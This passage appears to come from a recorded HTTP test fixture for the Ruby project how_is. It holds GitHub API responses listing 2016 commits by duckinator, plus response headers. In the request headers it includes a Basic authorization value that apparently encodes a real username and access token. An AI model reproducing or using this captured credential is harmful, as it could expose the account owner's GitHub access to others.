ttps://github.com/how-is/how_is/commit/63b8cf20ad8f0fb8ebbdcda0c7324fea238cba8c"}]},{"sha":"63b8cf20ad8f0fb8ebbdcda0c7324fea238cba8c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjNiOGNmMjBhZDhmMGZiOGViYmRjZGEwYzczMjRmZWEyMzhjYmE4Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-27T03:35:40Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-27T03:35:40Z"},"message":"Merge pull request #88 from how-is/refactor\n\nRefactoring Report + *Report.","tree":{"sha":"a8ad52dcbc6641ebe609005089191e4bafdecce6","url":"https://api.github.com/repos/how-is/how_is/git/trees/a8ad52dcbc6641ebe609005089191e4bafdecce6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/63b8cf20ad8f0fb8ebbdcda0c7324fea238cba8c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/63b8cf20ad8f0fb8ebbdcda0c7324fea238cba8c","html_url":"https://github.com/how-is/how_is/commit/63b8cf20ad8f0fb8ebbdcda0c7324fea238cba8c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/63b8cf20ad8f0fb8ebbdcda0c7324fea238cba8c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"ac21e1529ed02af2c883e444804832e1c9409348","url":"https://api.github.com/repos/how-is/how_is/commits/ac21e1529ed02af2c883e444804832e1c9409348","html_url":"https://github.com/how-is/how_is/commit/ac21e1529ed02af2c883e444804832e1c9409348"},{"sha":"ac50b7880bc8950d6b151427633305e162e1bdd0","url":"https://api.github.com/repos/how-is/how_is/commits/ac50b7880bc8950d6b151427633305e162e1bdd0","html_url":"https://github.com/how-is/how_is/commit/ac50b7880bc8950d6b151427633305e162e1bdd0"}]},{"sha":"ac50b7880bc8950d6b151427633305e162e1bdd0","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YWM1MGI3ODgwYmM4OTUwZDZiMTUxNDI3NjMzMzA1ZTE2MmUxYmRkMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-27T03:33:04Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-27T03:33:15Z"},"message":"Refactoring Report + *Report.\n\nFUCK YEAH REFACTORING WORKED FIRST TRY.","tree":{"sha":"a8ad52dcbc6641ebe609005089191e4bafdecce6","url":"https://api.github.com/repos/how-is/how_is/git/trees/a8ad52dcbc6641ebe609005089191e4bafdecce6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ac50b7880bc8950d6b151427633305e162e1bdd0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ac50b7880bc8950d6b151427633305e162e1bdd0","html_url":"https://github.com/how-is/how_is/commit/ac50b7880bc8950d6b151427633305e162e1bdd0","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ac50b7880bc8950d6b151427633305e162e1bdd0/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ac21e1529ed02af2c883e444804832e1c9409348","url":"https://api.github.com/repos/how-is/how_is/commits/ac21e1529ed02af2c883e444804832e1c9409348","html_url":"https://github.com/how-is/how_is/commit/ac21e1529ed02af2c883e444804832e1c9409348"}]},{"sha":"ac21e1529ed02af2c883e444804832e1c9409348","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YWMyMWUxNTI5ZWQwMmFmMmM4ODNlNDQ0ODA0ODMyZTFjOTQwOTM0OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-26T12:46:59Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-26T12:46:58Z"},"message":"Merge pull request #86 from how-is/rake-tasks\n\nRake tasks","tree":{"sha":"ef57b56d11d26a6fd568e7b2fba8375e29a9e3ae","url":"https://api.github.com/repos/how-is/how_is/git/trees/ef57b56d11d26a6fd568e7b2fba8375e29a9e3ae"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ac21e1529ed02af2c883e444804832e1c9409348","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ac21e1529ed02af2c883e444804832e1c9409348","html_url":"https://github.com/how-is/how_is/commit/ac21e1529ed02af2c883e444804832e1c9409348","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ac21e1529ed02af2c883e444804832e1c9409348/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"6f4ed5258bdb1bb501800b7b4ae30aa934c9fc11","url":"https://api.github.com/repos/how-is/how_is/commits/6f4ed5258bdb1bb501800b7b4ae30aa934c9fc11","html_url":"https://github.com/how-is/how_is/commit/6f4ed5258bdb1bb501800b7b4ae30aa934c9fc11"},{"sha":"19b23b964b802d050691e6d38b104d456607a412","url":"https://api.github.com/repos/how-is/how_is/commits/19b23b964b802d050691e6d38b104d456607a412","html_url":"https://github.com/how-is/how_is/commit/19b23b964b802d050691e6d38b104d456607a412"}]},{"sha":"19b23b964b802d050691e6d38b104d456607a412","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTliMjNiOTY0YjgwMmQwNTA2OTFlNmQzOGIxMDRkNDU2NjA3YTQxMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-26T12:45:52Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-26T12:45:52Z"},"message":"Add Rake tasks for regenerating example reports.","tree":{"sha":"ef57b56d11d26a6fd568e7b2fba8375e29a9e3ae","url":"https://api.github.com/repos/how-is/how_is/git/trees/ef57b56d11d26a6fd568e7b2fba8375e29a9e3ae"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/19b23b964b802d050691e6d38b104d456607a412","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/19b23b964b802d050691e6d38b104d456607a412","html_url":"https://github.com/how-is/how_is/commit/19b23b964b802d050691e6d38b104d456607a412","comments_url":"https://api.github.com/repos/how-is/how_is/commits/19b23b964b802d050691e6d38b104d456607a412/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d0db4a80681588dfa77a2faf8cccbf051c29a4ae","url":"https://api.github.com/repos/how-is/how_is/commits/d0db4a80681588dfa77a2faf8cccbf051c29a4ae","html_url":"https://github.com/how-is/how_is/commit/d0db4a80681588dfa77a2faf8cccbf051c29a4ae"}]},{"sha":"d0db4a80681588dfa77a2faf8cccbf051c29a4ae","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDBkYjRhODA2ODE1ODhkZmE3N2EyZmFmOGNjY2JmMDUxYzI5YTRhZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-26T12:32:24Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-26T12:32:24Z"},"message":"Remove framework for slow specs.","tree":{"sha":"c375aeee9f7100fb5b23f0d7ff8ba8b674f4ef8d","url":"https://api.github.com/repos/how-is/how_is/git/trees/c375aeee9f7100fb5b23f0d7ff8ba8b674f4ef8d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d0db4a80681588dfa77a2faf8cccbf051c29a4ae","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d0db4a80681588dfa77a2faf8cccbf051c29a4ae","html_url":"https://github.com/how-is/how_is/commit/d0db4a80681588dfa77a2faf8cccbf051c29a4ae","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d0db4a80681588dfa77a2faf8cccbf051c29a4ae/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3aa570eeead6c7b4f563243774cd05f35e9d64ed","url":"https://api.github.com/repos/how-is/how_is/commits/3aa570eeead6c7b4f563243774cd05f35e9d64ed","html_url":"https://github.com/how-is/how_is/commit/3aa570eeead6c7b4f563243774cd05f35e9d64ed"}]},{"sha":"3aa570eeead6c7b4f563243774cd05f35e9d64ed","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6M2FhNTcwZWVlYWQ2YzdiNGY1NjMyNDM3NzRjZDA1ZjM1ZTlkNjRlZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-26T12:31:35Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-26T12:31:35Z"},"message":"Remove unnecessary Rake tasks.","tree":{"sha":"a1ee89e8beeec1c6946b7d37bcfe0e3260ab42b0","url":"https://api.github.com/repos/how-is/how_is/git/trees/a1ee89e8beeec1c6946b7d37bcfe0e3260ab42b0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3aa570eeead6c7b4f563243774cd05f35e9d64ed","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3aa570eeead6c7b4f563243774cd05f35e9d64ed","html_url":"https://github.com/how-is/how_is/commit/3aa570eeead6c7b4f563243774cd05f35e9d64ed","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3aa570eeead6c7b4f563243774cd05f35e9d64ed/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6f4ed5258bdb1bb501800b7b4ae30aa934c9fc11","url":"https://api.github.com/repos/how-is/how_is/commits/6f4ed5258bdb1bb501800b7b4ae30aa934c9fc11","html_url":"https://github.com/how-is/how_is/commit/6f4ed5258bdb1bb501800b7b4ae30aa934c9fc11"}]},{"sha":"6f4ed5258bdb1bb501800b7b4ae30aa934c9fc11","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmY0ZWQ1MjU4YmRiMWJiNTAxODAwYjdiNGFlMzBhYTkzNGM5ZmMxMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:51:19Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-11-25T15:51:19Z"},"message":"Merge pull request #85 from how-is/newest-pr-issue-attempt-2\n\nNewest pr issue attempt 2","tree":{"sha":"2810f9ec91f8d5c1ef1152b640f1abde3ba123a0","url":"https://api.github.com/repos/how-is/how_is/git/trees/2810f9ec91f8d5c1ef1152b640f1abde3ba123a0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6f4ed5258bdb1bb501800b7b4ae30aa934c9fc11","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6f4ed5258bdb1bb501800b7b4ae30aa934c9fc11","html_url":"https://github.com/how-is/how_is/commit/6f4ed5258bdb1bb501800b7b4ae30aa934c9fc11","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6f4ed5258bdb1bb501800b7b4ae30aa934c9fc11/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"c864b5de85e98b605a2303290a8c601040a92c45","url":"https://api.github.com/repos/how-is/how_is/commits/c864b5de85e98b605a2303290a8c601040a92c45","html_url":"https://github.com/how-is/how_is/commit/c864b5de85e98b605a2303290a8c601040a92c45"},{"sha":"d33cf8f49e8f541256572f0a1d67f5de633b8883","url":"https://api.github.com/repos/how-is/how_is/commits/d33cf8f49e8f541256572f0a1d67f5de633b8883","html_url":"https://github.com/how-is/how_is/commit/d33cf8f49e8f541256572f0a1d67f5de633b8883"}]},{"sha":"d33cf8f49e8f541256572f0a1d67f5de633b8883","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDMzY2Y4ZjQ5ZThmNTQxMjU2NTcyZjBhMWQ2N2Y1ZGU2MzNiODg4Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:49:24Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:49:24Z"},"message":"Re-generate example HTML report.","tree":{"sha":"2810f9ec91f8d5c1ef1152b640f1abde3ba123a0","url":"https://api.github.com/repos/how-is/how_is/git/trees/2810f9ec91f8d5c1ef1152b640f1abde3ba123a0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d33cf8f49e8f541256572f0a1d67f5de633b8883","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d33cf8f49e8f541256572f0a1d67f5de633b8883","html_url":"https://github.com/how-is/how_is/commit/d33cf8f49e8f541256572f0a1d67f5de633b8883","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d33cf8f49e8f541256572f0a1d67f5de633b8883/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1902bb0a1d29b0422fec1723a2d61f05c8c58287","url":"https://api.github.com/repos/how-is/how_is/commits/1902bb0a1d29b0422fec1723a2d61f05c8c58287","html_url":"https://github.com/how-is/how_is/commit/1902bb0a1d29b0422fec1723a2d61f05c8c58287"}]},{"sha":"1902bb0a1d29b0422fec1723a2d61f05c8c58287","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTkwMmJiMGExZDI5YjA0MjJmZWMxNzIzYTJkNjFmMDVjOGM1ODI4Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:48:49Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-11-25T15:48:49Z"},"message":"Make punctuation consistent in list.","tree":{"sha":"af40508593283b9b7a0c99798df41a985fa06f35","url":"https://api.github.com/repos/how-is/how_is/git/trees/af40508593283b9b7a0c99798df41a985fa06f35"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1902bb0a1d29b0422fec1723a2d61f05c8c58287","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1902bb0a1d29b0422fec1723a2d61f05c8c58287","html_url":"https://github.com/how-is/how_is/commit/1902bb0a1d29b0422fec1723a2d61f05c8c58287","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1902bb0a1d29b0422fec1723a2d61f05c8c58287/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7620f072228f67bf74930e697957e8c0f33bded4","url":"https://api.github.com/repos/how-is/how_is/commits/7620f072228f67bf74930e697957e8c0f33bded4","html_url":"https://github.com/how-is/how_is/commit/7620f072228f67bf74930e697957e8c0f33bded4"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:46 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=8&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:47 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3337' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"cd7f733e6f0cd3fc3e57d3690e723f7d" Last-Modified: - Fri, 25 Nov 2016 15:25:01 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 2805:5EAC:296C32:54959C:5CC36AEE body: encoding: 